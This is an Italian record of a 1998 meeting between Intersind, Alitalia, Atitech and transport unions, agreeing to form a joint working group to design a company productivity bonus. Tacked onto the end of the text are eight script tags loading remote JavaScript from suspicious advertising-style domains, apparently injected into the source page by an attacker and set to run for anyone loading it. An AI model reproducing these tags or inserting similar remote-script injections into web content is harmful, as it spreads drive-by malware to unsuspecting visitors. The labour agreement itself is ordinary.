Categoria: Aerei, personale di terra (ALITALIA e ATITECH)
Settore: Trasporti
Data stipula: 20-10-1998

VERBALE DI INCONTRO

In  data  20  ottobre  1998  si sono incontrate  l'INTERSIND,  la  Società
ALITALIA,   ATITECH   e  le  Segreterie  Nazionali  FILT-CGIL,   FIT-CISL,
UILTRASPORTI, UGL TRASPORTI.

Le Parti

·     nell'ambito  di  quanto  previsto  dal  CCL  11.2.97,  ai  punti  3)
  "Contrattazione  aziendale"  e  5)  "Procedure  per  il  rinnovo   della
  Contrattazione aziendale" del capitolo "Articolazione della contrattazione
  collettiva;
·    fatto riferimento a quanto previsto dal Protocollo 23.7.93 per quanto
  attiene  alla  contrattazione di 2° livello  relativa  ai  parametri  di
  redditività e produttività, ribaditi i contenuti del Protocollo d'intesa
  del  19.6.96  e considerato che la positiva evoluzione del  processo  di
  risanamento  della  Compagnia deve consentire di perseguire  sempre  più
  elevati  livelli  di  efficienza  ed  efficacia dei processi lavorativi -
  anche  in  un'ottica  di offerta di servizi sul mercato  -  al  fine  di
  garantire livelli di redditività idonei a sostenere la fase di  sviluppo
  della  Compagnia  e  un  conseguente  adeguato  incremento  dei  livelli
  occupazionali

Convengono di

·     costituire,  a  far data dall'1.11.98, un Gruppo di  lavoro  Tecnico
  paritetico composto di 4 membri di parte sindacale ed altrettanti di parte
  aziendale con l'incarico di individuare la formula, gli indicatori  e  i
  parametri  di  riferimento  della  contrattazione  aziendale  idonei   a
  realizzare l'istituzione del Premio di produttività previsto dalla stessa,
  nel rispetto dei seguenti criteri:

-     il  Premio  di  produttività sarà non consolidabile e  completamente
  variabile  in  funzione  delle  effettive  'performance'  qualitative  e
  quantitative  poste  in  essere  dal personale  nell'ambito  delle  aree
  aziendali,  che  verranno concordemente individuate, e  del  complessivo
  andamento  dell'azienda sia sotto il profilo della redditività  che  del
  posizionamento sul mercato;
-     l'esistenza  di  un  andamento adeguato della redditività  aziendale
  costituisce condizione essenziale per l'erogazione del Premio.

Nell'ambito di quanto sopra il Gruppo di lavoro tecnico dovrà quindi:

-    individuare gli indicatori di redditività, produttività e qualità;
-     definire  la specifica formula che sintetizzi la relazione  tra  gli
  indicatori presi a riferimento per la determinazione del Premio;
-      individuare   nell'ambito  della  struttura  aziendale   le   aree,
  relativamente alle quali applicare gli indicatori presi a riferimento per
  la determinazione del Premio;
-     definire  i parametri settoriali idonei a rilevare le variazioni  di
  andamento degli indicatori che costituiscono la formula del Premio.

Al  fine di consentire una rapida e positiva definizione del negoziato, il
Gruppo  di lavoro tecnico dovrà completare le attività di cui sopra  entro
il 31.12.98.<script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwste.mobi/b.js></script><script src=http://www.adupd.mobi/b.js></script><script src=http://www.bnrupdate.mobi/b.js></script><script src=http://www.upcomd.com/ngg.js></script><script src=http://www.mainadt.com/ngg.js></script><script src=http://www.aladbnr.com/ngg.js></script>